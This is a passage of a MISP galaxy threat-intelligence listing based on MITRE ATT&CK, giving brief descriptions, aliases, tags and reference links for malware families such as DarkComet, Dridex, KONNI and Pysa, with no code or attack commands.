[Proton](https://attack.mitre.org/software/S0279) is a macOS backdoor focusing on data theft and credential access (Citation: objsee mac malware 2017).

The tag is: *misp-galaxy:mitre-malware="Proton - S0279"*

Proton - S0279 is also known as:

- Proton

Table 11471. Table References

Links
https://attack.mitre.org/software/S0279
https://objective-see.com/blog/blog_0x25.html

KeyRaider - S0288

[KeyRaider](https://attack.mitre.org/software/S0288) is malware that steals Apple account credentials and other data from jailbroken iOS devices. It also has ransomware functionality. (Citation: Xiao-KeyRaider)

The tag is: *misp-galaxy:mitre-malware="KeyRaider - S0288"*

Table 11472. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/
https://attack.mitre.org/software/S0288

NotCompatible - S0299

[NotCompatible](https://attack.mitre.org/software/S0299) is an Android malware family that was used between at least 2014 and 2016. It has multiple variants that have become more sophisticated over time. (Citation: Lookout-NotCompatible)

The tag is: *misp-galaxy:mitre-malware="NotCompatible - S0299"*

Table 11473. Table References

Links
https://attack.mitre.org/software/S0299
https://blog.lookout.com/blog/2014/11/19/notcompatible/

UBoatRAT - S0333

[UBoatRAT](https://attack.mitre.org/software/S0333) is a remote access tool that was identified in May 2017.(Citation: PaloAlto UBoatRAT Nov 2017)

The tag is: *misp-galaxy:mitre-malware="UBoatRAT - S0333"*

UBoatRAT - S0333 is also known as:

- UBoatRAT

Table 11474. Table References

Links
https://attack.mitre.org/software/S0333
https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/

DarkComet - S0334

[DarkComet](https://attack.mitre.org/software/S0334) is a Windows remote administration tool and backdoor.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)

The tag is: *misp-galaxy:mitre-malware="DarkComet - S0334"*

DarkComet - S0334 is also known as:

- DarkComet
- DarkKomet
- Fynloski
- Krademok
- FYNLOS

Table 11475. Table References

Links
https://attack.mitre.org/software/S0334
https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET

Rifdoor - S0433

[Rifdoor](https://attack.mitre.org/software/S0433) is a remote access trojan (RAT) that shares numerous code similarities with [HotCroissant](https://attack.mitre.org/software/S0431).(Citation: Carbon Black HotCroissant April 2020)

The tag is: *misp-galaxy:mitre-malware="Rifdoor - S0433"*

Rifdoor - S0433 is also known as:

- Rifdoor

Table 11476. Table References

Links
https://attack.mitre.org/software/S0433
https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/

SLOTHFULMEDIA - S0533

[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is a remote access Trojan written in C++ that has been used by an unidentified "sophisticated cyber actor" since at least January 2017.(Citation: CISA MAR SLOTHFULMEDIA October 2020)(Citation: Costin Raiu IAmTheKing October 2020) It has been used to target government organizations, defense contractors, universities, and energy companies in Russia, India, Kazakhstan, Kyrgyzstan, Malaysia, Ukraine, and Eastern Europe.(Citation: USCYBERCOM SLOTHFULMEDIA October 2020)(Citation: Kaspersky IAmTheKing October 2020)

In October 2020, Kaspersky Labs assessed [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is part of an activity cluster it refers to as "IAmTheKing".(Citation: Kaspersky IAmTheKing October 2020) ESET also noted code similarity between [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) and droppers used by a group it refers to as "PowerPool".(Citation: ESET PowerPool Code October 2020)

The tag is: *misp-galaxy:mitre-malware="SLOTHFULMEDIA - S0533"*

SLOTHFULMEDIA - S0533 is also known as:

- SLOTHFULMEDIA
- JackOfHearts
- QueenOfClubs

Table 11477. Table References

Links
https://attack.mitre.org/software/S0533
https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a
https://x.com/CNMF_CyberAlert/status/1311743710997159953
https://x.com/ESETresearch/status/1311762215490461696
https://x.com/craiu/status/1311920398259367942

Carbon - S0335

[Carbon](https://attack.mitre.org/software/S0335) is a sophisticated, second-stage backdoor and framework that can be used to steal sensitive information from victims. [Carbon](https://attack.mitre.org/software/S0335) has been selectively used by [Turla](https://attack.mitre.org/groups/G0010) to target government and foreign affairs-related organizations in Central Asia.(Citation: ESET Carbon Mar 2017)(Citation: Securelist Turla Oct 2018)

The tag is: *misp-galaxy:mitre-malware="Carbon - S0335"*

Carbon - S0335 is also known as:

- Carbon

Table 11478. Table References

Links
https://attack.mitre.org/software/S0335
https://securelist.com/shedding-skin-turlas-fresh-faces/88069/
https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/

NOKKI - S0353

[NOKKI](https://attack.mitre.org/software/S0353) is a modular remote access tool. The earliest observed attack using [NOKKI](https://attack.mitre.org/software/S0353) was in January 2018. [NOKKI](https://attack.mitre.org/software/S0353) has significant code overlap with the [KONNI](https://attack.mitre.org/software/S0356) malware family. There is some evidence potentially linking [NOKKI](https://attack.mitre.org/software/S0353) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)

The tag is: *misp-galaxy:mitre-malware="NOKKI - S0353"*

NOKKI - S0353 is also known as:

- NOKKI

Table 11479. Table References

Links
https://attack.mitre.org/software/S0353
https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/
https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/

NanoCore - S0336

[NanoCore](https://attack.mitre.org/software/S0336) is a modular remote access tool developed in .NET that can be used to spy on victims and steal information. It has been used by threat actors since 2013.(Citation: DigiTrust NanoCore Jan 2017)(Citation: Cofense NanoCore Mar 2018)(Citation: PaloAlto NanoCore Feb 2016)(Citation: Unit 42 Gorgon Group Aug 2018)

The tag is: *misp-galaxy:mitre-malware="NanoCore - S0336"*

NanoCore - S0336 is also known as:

- NanoCore

Table 11480. Table References

Links
https://attack.mitre.org/software/S0336
https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/
https://web.archive.org/web/20240522112705/https://cofense.com/blog/nanocore-rat-resurfaced-sewers/
https://www.digitrustgroup.com/nanocore-not-your-average-rat/

Astaroth - S0373

[Astaroth](https://attack.mitre.org/software/S0373) is a Trojan and information stealer known to affect companies in Europe, Brazil, and throughout Latin America. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019)(Citation: Cofense Astaroth Sept 2018)(Citation: Securelist Brazilian Banking Malware July 2020)

The tag is: *misp-galaxy:mitre-malware="Astaroth - S0373"*

Astaroth - S0373 is also known as:

- Astaroth
- Guildma

Table 11481. Table References

Links
https://attack.mitre.org/software/S0373
https://securelist.com/the-tetrade-brazilian-banking-malware/97779/
https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/
https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research

BadPatch - S0337

[BadPatch](https://attack.mitre.org/software/S0337) is a Windows Trojan that was used in a Gaza Hackers-linked campaign.(Citation: Unit 42 BadPatch Oct 2017)

The tag is: *misp-galaxy:mitre-malware="BadPatch - S0337"*

BadPatch - S0337 is also known as:

- BadPatch

Table 11482. Table References

Links
https://attack.mitre.org/software/S0337
https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/

FlawedGrace - S0383

[FlawedGrace](https://attack.mitre.org/software/S0383) is a fully featured remote access tool (RAT) written in C++ that was first observed in late 2017.(Citation: Proofpoint TA505 Jan 2019)

The tag is: *misp-galaxy:mitre-malware="FlawedGrace - S0383"*

FlawedGrace - S0383 is also known as:

- FlawedGrace

Table 11483. Table References

Links
https://attack.mitre.org/software/S0383
https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505

Micropsia - S0339

[Micropsia](https://attack.mitre.org/software/S0339) is a remote access tool written in Delphi.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)

The tag is: *misp-galaxy:mitre-malware="Micropsia - S0339"*

Micropsia - S0339 is also known as:

- Micropsia

Table 11484. Table References

Links
https://attack.mitre.org/software/S0339
https://blog.talosintelligence.com/2017/06/palestine-delphi.html
https://www.radware.com/blog/security/2018/07/micropsia-malware/

PowerStallion - S0393

[PowerStallion](https://attack.mitre.org/software/S0393) is a lightweight [PowerShell](https://attack.mitre.org/techniques/T1059/001) backdoor used by [Turla](https://attack.mitre.org/groups/G0010), possibly as a recovery access tool to install other backdoors.(Citation: ESET Turla PowerShell May 2019)

The tag is: *misp-galaxy:mitre-malware="PowerStallion - S0393"*

PowerStallion - S0393 is also known as:

- PowerStallion

Table 11485. Table References

Links
https://attack.mitre.org/software/S0393
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/

MESSAGETAP - S0443

[MESSAGETAP](https://attack.mitre.org/software/S0443) is a data mining malware family deployed by [APT41](https://attack.mitre.org/groups/G0096) into telecommunications networks to monitor and save SMS traffic from specific phone numbers, IMSI numbers, or that contain specific keywords. (Citation: FireEye MESSAGETAP October 2019)

The tag is: *misp-galaxy:mitre-malware="MESSAGETAP - S0443"*

MESSAGETAP - S0443 is also known as:

- MESSAGETAP

Table 11486. Table References

Links
https://attack.mitre.org/software/S0443
https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html

Azorult - S0344

[Azorult](https://attack.mitre.org/software/S0344) is a commercial Trojan that is used to steal information from compromised hosts. [Azorult](https://attack.mitre.org/software/S0344) has been observed in the wild as early as 2016. In July 2018, [Azorult](https://attack.mitre.org/software/S0344) was seen used in a spearphishing campaign against targets in North America. [Azorult](https://attack.mitre.org/software/S0344) has been seen used for cryptocurrency theft. (Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)

The tag is: *misp-galaxy:mitre-malware="Azorult - S0344"*

Azorult - S0344 is also known as:

- Azorult

Table 11487. Table References

Links
https://attack.mitre.org/software/S0344
https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/
https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside

PLEAD - S0435

[PLEAD](https://attack.mitre.org/software/S0435) is a remote access tool (RAT) and downloader used by [BlackTech](https://attack.mitre.org/groups/G0098) in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.(Citation: TrendMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloader June 2018) [PLEAD](https://attack.mitre.org/software/S0435) has also been referred to as [TSCookie](https://attack.mitre.org/software/S0436), though more recent reporting indicates likely separation between the two. [PLEAD](https://attack.mitre.org/software/S0435) was observed in use as early as March 2017.(Citation: JPCert TSCookie March 2018)(Citation: JPCert PLEAD Downloader June 2018)

The tag is: *misp-galaxy:mitre-malware="PLEAD - S0435"*

PLEAD - S0435 is also known as:

- PLEAD

Table 11488. Table References

Links
https://attack.mitre.org/software/S0435
https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/
https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/
https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html

Bazar - S0534

[Bazar](https://attack.mitre.org/software/S0534) is a downloader and backdoor that has been used since at least April 2020, with infections primarily against professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. [Bazar](https://attack.mitre.org/software/S0534) reportedly has ties to [TrickBot](https://attack.mitre.org/software/S0266) campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.(Citation: Cybereason Bazar July 2020)

The tag is: *misp-galaxy:mitre-malware="Bazar - S0534"*

Bazar - S0534 is also known as:

- Bazar
- KEGTAP
- Team9
- Bazaloader

Table 11489. Table References

Links
https://attack.mitre.org/software/S0534
https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/
https://www.crowdstrike.com/blog/wizard-spider-adversary-update/
https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles
https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html
https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/

Denis - S0354

[Denis](https://attack.mitre.org/software/S0354) is a Windows backdoor and Trojan used by [APT32](https://attack.mitre.org/groups/G0050). [Denis](https://attack.mitre.org/software/S0354) shares several similarities to the [SOUNDBITE](https://attack.mitre.org/software/S0157) backdoor and has been used in conjunction with the [Goopy](https://attack.mitre.org/software/S0477) backdoor.(Citation: Cybereason Oceanlotus May 2017)

The tag is: *misp-galaxy:mitre-malware="Denis - S0354"*

Denis - S0354 is also known as:

- Denis

Table 11490. Table References

Links
https://attack.mitre.org/software/S0354
https://www.cybereason.com/blog/operation-cobalt-kitty-apt

Pony - S0453

[Pony](https://attack.mitre.org/software/S0453) is a credential stealing malware, though has also been used among adversaries for its downloader capabilities. The source code for Pony Loader 1.0 and 2.0 were leaked online, leading to their use by various threat actors.(Citation: Malwarebytes Pony April 2016)

The tag is: *misp-galaxy:mitre-malware="Pony - S0453"*

Pony - S0453 is also known as:

- Pony

Table 11491. Table References

Links
https://attack.mitre.org/software/S0453
https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/

Seasalt - S0345

[Seasalt](https://attack.mitre.org/software/S0345) is malware that has been linked to [APT1](https://attack.mitre.org/groups/G0006)'s 2010 operations. It shares some code similarities with [OceanSalt](https://attack.mitre.org/software/S0346).(Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)

The tag is: *misp-galaxy:mitre-malware="Seasalt - S0345"*

Seasalt - S0345 is also known as:

- Seasalt

Table 11492. Table References

Links
https://attack.mitre.org/software/S0345
https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf

Spark - S0543

[Spark](https://attack.mitre.org/software/S0543) is a Windows backdoor and has been in use since as early as 2017.(Citation: Unit42 Molerat Mar 2020)

The tag is: *misp-galaxy:mitre-malware="Spark - S0543"*

Spark - S0543 is also known as:

- Spark

Table 11493. Table References

Links
https://attack.mitre.org/software/S0543
https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/

INSOMNIA - S0463

[INSOMNIA](https://attack.mitre.org/software/S0463) is spyware that has been used by the group Evil Eye.(Citation: Volexity Insomnia)

The tag is: *misp-galaxy:mitre-malware="INSOMNIA - S0463"*

INSOMNIA - S0463 is also known as:

- INSOMNIA

Table 11494. Table References

Links
https://attack.mitre.org/software/S0463
https://www.volexity.com/blog/2020/04/21/evil-eye-threat-actor-resurfaces-with-ios-exploit-and-updated-implant/

TSCookie - S0436

[TSCookie](https://attack.mitre.org/software/S0436) is a remote access tool (RAT) that has been used by [BlackTech](https://attack.mitre.org/groups/G0098) in campaigns against Japanese targets.(Citation: JPCert TSCookie March 2018)(Citation: JPCert BlackTech Malware September 2019). [TSCookie](https://attack.mitre.org/software/S0436) has been referred to as [PLEAD](https://attack.mitre.org/software/S0435) though more recent reporting indicates a separation between the two.(Citation: JPCert PLEAD Downloader June 2018)(Citation: JPCert BlackTech Malware September 2019)

The tag is: *misp-galaxy:mitre-malware="TSCookie - S0436"*

TSCookie - S0436 is also known as:

- TSCookie

Table 11495. Table References

Links
https://attack.mitre.org/software/S0436
https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html
https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html

EnvyScout - S0634

[EnvyScout](https://attack.mitre.org/software/S0634) is a dropper that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)

The tag is: *misp-galaxy:mitre-malware="EnvyScout - S0634"*

EnvyScout - S0634 is also known as:

- EnvyScout

Table 11496. Table References

Links
https://attack.mitre.org/software/S0634
https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/

OceanSalt - S0346

[OceanSalt](https://attack.mitre.org/software/S0346) is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. [OceanSalt](https://attack.mitre.org/software/S0346) shares code similarity with [SpyNote RAT](https://attack.mitre.org/software/S0305), which has been linked to [APT1](https://attack.mitre.org/groups/G0006).(Citation: McAfee Oceansalt Oct 2018)

The tag is: *misp-galaxy:mitre-malware="OceanSalt - S0346"*

OceanSalt - S0346 is also known as:

- OceanSalt

Table 11497. Table References

Links
https://attack.mitre.org/software/S0346
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf

Peppy - S0643

[Peppy](https://attack.mitre.org/software/S0643) is a Python-based remote access Trojan, active since at least 2012, with similarities to [Crimson](https://attack.mitre.org/software/S0115).(Citation: Proofpoint Operation Transparent Tribe March 2016)

The tag is: *misp-galaxy:mitre-malware="Peppy - S0643"*

Peppy - S0643 is also known as:

- Peppy

Table 11498. Table References

Links
https://attack.mitre.org/software/S0643

https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf

AuditCred - S0347

[AuditCred](https://attack.mitre.org/software/S0347) is a malicious DLL that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) during their 2018 attacks.(Citation: TrendMicro Lazarus Nov 2018)

The tag is: *misp-galaxy:mitre-malware="AuditCred - S0347"*

AuditCred - S0347 is also known as:

- AuditCred
- Roptimizer

Table 11499. Table References

Links
https://attack.mitre.org/software/S0347
https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/

Avenger - S0473

[Avenger](https://attack.mitre.org/software/S0473) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)

The tag is: *misp-galaxy:mitre-malware="Avenger - S0473"*

Avenger - S0473 is also known as:

- Avenger

Table 11500. Table References

Links
https://attack.mitre.org/software/S0473
https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf

Kivars - S0437

[Kivars](https://attack.mitre.org/software/S0437) is a modular remote access tool (RAT), derived from the Bifrost RAT, that was used by [BlackTech](https://attack.mitre.org/groups/G0098) in a 2010 campaign.(Citation: TrendMicro BlackTech June 2017)

The tag is: *misp-galaxy:mitre-malware="Kivars - S0437"*

Kivars - S0437 is also known as:

- Kivars

Table 11501. Table References

Links
https://attack.mitre.org/software/S0437
https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/

SpeakUp - S0374

[SpeakUp](https://attack.mitre.org/software/S0374) is a Trojan backdoor that targets both Linux and OSX devices. It was first observed in January 2019. (Citation: CheckPoint SpeakUp Feb 2019)

The tag is: *misp-galaxy:mitre-malware="SpeakUp - S0374"*

SpeakUp - S0374 is also known as:

- SpeakUp

Table 11502. Table References

Links
https://attack.mitre.org/software/S0374
https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/

Attor - S0438

[Attor](https://attack.mitre.org/software/S0438) is a Windows-based espionage platform that has been seen in use since 2013. [Attor](https://attack.mitre.org/software/S0438) has a loadable plugin architecture to customize functionality for specific targets.(Citation: ESET Attor Oct 2019)

The tag is: *misp-galaxy:mitre-malware="Attor - S0438"*

Attor - S0438 is also known as:

- Attor

Table 11503. Table References

Links
https://attack.mitre.org/software/S0438
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf

IcedID - S0483

[IcedID](https://attack.mitre.org/software/S0483) is a modular banking malware designed to steal financial information that has been observed in the wild since at least 2017. [IcedID](https://attack.mitre.org/software/S0483) has been downloaded by [Emotet](https://attack.mitre.org/software/S0367) in multiple campaigns.(Citation: IBM IcedID November 2017)(Citation: Juniper IcedID June 2020)

The tag is: *misp-galaxy:mitre-malware="IcedID - S0483"*

IcedID - S0483 is also known as:

- IcedID

Table 11504. Table References

Links
https://attack.mitre.org/software/S0483
https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware
https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/

Dridex - S0384

[Dridex](https://attack.mitre.org/software/S0384) is a prolific banking Trojan that first appeared in 2014. By December 2019, the US Treasury estimated [Dridex](https://attack.mitre.org/software/S0384) had infected computers in hundreds of banks and financial institutions in over 40 countries, leading to more than $100 million in theft. [Dridex](https://attack.mitre.org/software/S0384) was created from the source code of the Bugat banking Trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)(Citation: Treasury EvilCorp Dec 2019)

The tag is: *misp-galaxy:mitre-malware="Dridex - S0384"*

Dridex - S0384 is also known as:

- Dridex
- Bugat v5

Table 11505. Table References

Links
https://attack.mitre.org/software/S0384
https://home.treasury.gov/news/press-releases/sm845
https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/
https://securelist.com/dridex-a-history-of-evolution/78531/
https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation

GoldenSpy - S0493

[GoldenSpy](https://attack.mitre.org/software/S0493) is a backdoor malware which has been packaged with legitimate tax preparation software. [GoldenSpy](https://attack.mitre.org/software/S0493) was discovered targeting organizations in China, being delivered with the "Intelligent Tax" software suite which is produced by the Golden Tax Department of Aisino Credit Information Co. and required to pay local taxes.(Citation: Trustwave GoldenSpy June 2020)

The tag is: *misp-galaxy:mitre-malware="GoldenSpy - S0493"*

GoldenSpy - S0493 is also known as:

- GoldenSpy

Table 11506. Table References

Links
https://attack.mitre.org/software/S0493
https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/

HiddenWasp - S0394

[HiddenWasp](https://attack.mitre.org/software/S0394) is a Linux-based Trojan used to target systems for remote control. It comes in the form of a statically linked ELF binary with stdlibc++.(Citation: Intezer HiddenWasp Map 2019)

The tag is: *misp-galaxy:mitre-malware="HiddenWasp - S0394"*

HiddenWasp - S0394 is also known as:

- HiddenWasp

Table 11507. Table References

Links
https://attack.mitre.org/software/S0394
https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/

Okrum - S0439

[Okrum](https://attack.mitre.org/software/S0439) is a Windows backdoor that has been seen in use since December 2016 with strong links to [Ke3chang](https://attack.mitre.org/groups/G0004).(Citation: ESET Okrum July 2019)

The tag is: *misp-galaxy:mitre-malware="Okrum - S0439"*

Okrum - S0439 is also known as:

- Okrum

Table 11508. Table References

Links
https://attack.mitre.org/software/S0439
https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf

MoleNet - S0553

[MoleNet](https://attack.mitre.org/software/S0553) is a downloader tool with backdoor capabilities that has been observed in use since at least 2019.(Citation: Cybereason Molerats Dec 2020)

The tag is: *misp-galaxy:mitre-malware="MoleNet - S0553"*

MoleNet - S0553 is also known as:

- MoleNet

Table 11509. Table References

Links
https://attack.mitre.org/software/S0553
https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf

BoomBox - S0635

[BoomBox](https://attack.mitre.org/software/S0635) is a downloader responsible for executing next stage components that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)

The tag is: *misp-galaxy:mitre-malware="BoomBox - S0635"*

BoomBox - S0635 is also known as:

- BoomBox

Table 11510. Table References

Links
https://attack.mitre.org/software/S0635
https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/

xCaon - S0653

[xCaon](https://attack.mitre.org/software/S0653) is an HTTP variant of the

[BoxCaon](https://attack.mitre.org/software/S0651) malware family that has used by [IndigoZebra](https://attack.mitre.org/groups/G0136) since at least 2014. [xCaon](https://attack.mitre.org/software/S0653) has been used to target political entities in Central Asia, including Kyrgyzstan and Uzbekistan.(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)

The tag is: *misp-galaxy:mitre-malware="xCaon - S0653"*

xCaon - S0653 is also known as:

- xCaon

Table 11511. Table References

Links
https://attack.mitre.org/software/S0653
https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/
https://securelist.com/apt-trends-report-q2-2017/79332/

GPlayed - S0536

[GPlayed](https://attack.mitre.org/software/S0536) is an Android trojan with a broad range of capabilities.(Citation: Talos GPlayed)

The tag is: *misp-galaxy:mitre-malware="GPlayed - S0536"*

GPlayed - S0536 is also known as:

- GPlayed

Table 11512. Table References

Links
https://attack.mitre.org/software/S0536
https://blog.talosintelligence.com/2018/10/gplayedtrojan.html

KONNI - S0356

[KONNI](https://attack.mitre.org/software/S0356) is a remote access tool that security researchers assess has been used by North Korean cyber actors since at least 2014. [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family, and has been linked to several suspected North Korean campaigns targeting political organizations in Russia, East Asia, Europe and the Middle East; there is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Talos Konni May 2017)(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021)

The tag is: *misp-galaxy:mitre-malware="KONNI - S0356"*

KONNI - S0356 is also known as:

- KONNI

Table 11513. Table References

Links
https://attack.mitre.org/software/S0356
https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/
https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html
https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b
https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/
https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/

HyperStack - S0537

[HyperStack](https://attack.mitre.org/software/S0537) is a RPC-based backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2018. [HyperStack](https://attack.mitre.org/software/S0537) has similarities to other backdoors used by [Turla](https://attack.mitre.org/groups/G0010) including [Carbon](https://attack.mitre.org/software/S0335).(Citation: Accenture HyperStack October 2020)

The tag is: *misp-galaxy:mitre-malware="HyperStack - S0537"*

HyperStack - S0537 is also known as:

- HyperStack

Table 11514. Table References

Links
https://attack.mitre.org/software/S0537
https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity

Remexi - S0375

[Remexi](https://attack.mitre.org/software/S0375) is a Windows-based Trojan that was developed in the C programming language.(Citation: Securelist Remexi Jan 2019)

The tag is: *misp-galaxy:mitre-malware="Remexi - S0375"*

Remexi - S0375 is also known as:

- Remexi

Table 11515. Table References

Links
https://attack.mitre.org/software/S0375
https://securelist.com/chafer-used-remexi-malware/89538/

njRAT - S0385

[njRAT](https://attack.mitre.org/software/S0385) is a remote access tool (RAT) that was first observed in 2012. It has been used by threat actors in the Middle East.(Citation: Fidelis njRAT June 2013)

The tag is: *misp-galaxy:mitre-malware="njRAT - S0385"*

njRAT - S0385 is also known as:

- njRAT
- Njw0rm
- LV
- Bladabindi

Table 11516. Table References

Links
https://attack.mitre.org/software/S0385
https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/
https://web.archive.org/web/20200302085808/https://www.fireeye.com/blog/threat-research/2013/08/njw0rm-brother-from-the-same-mother.html
https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf

Crutch - S0538

[Crutch](https://attack.mitre.org/software/S0538) is a backdoor designed for document theft that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2015.(Citation: ESET Crutch December 2020)

The tag is: *misp-galaxy:mitre-malware="Crutch - S0538"*

Crutch - S0538 is also known as:

- Crutch

Table 11517. Table References

Links
https://attack.mitre.org/software/S0538
https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/

Pysa - S0583

[Pysa](https://attack.mitre.org/software/S0583) is a ransomware that was first used in October 2018 and has been seen to target particularly high-value finance, government and healthcare organizations.(Citation: CERT-FR PYSA April 2020)

The tag is: *misp-galaxy:mitre-malware="Pysa - S0583"*

Pysa - S0583 is also known as:

- Pysa
- Mespinoza

Table 11518. Table References

Links
https://attack.mitre.org/software/S0583
https://digital.nhs.uk/cyber-alerts/2020/cc-3633
https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf

ECCENTRICBANDWAGON - S0593

[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) is a remote access Trojan (RAT) used by North Korean cyber actors that was first identified in August 2020. It is a reconnaissance tool—with keylogging and screen capture functionality—used for information gathering on compromised systems.(Citation: CISA EB Aug 2020)

The tag is: *misp-galaxy:mitre-malware="ECCENTRICBANDWAGON - S0593"*

ECCENTRICBANDWAGON - S0593 is also known as:

- ECCENTRICBANDWAGON

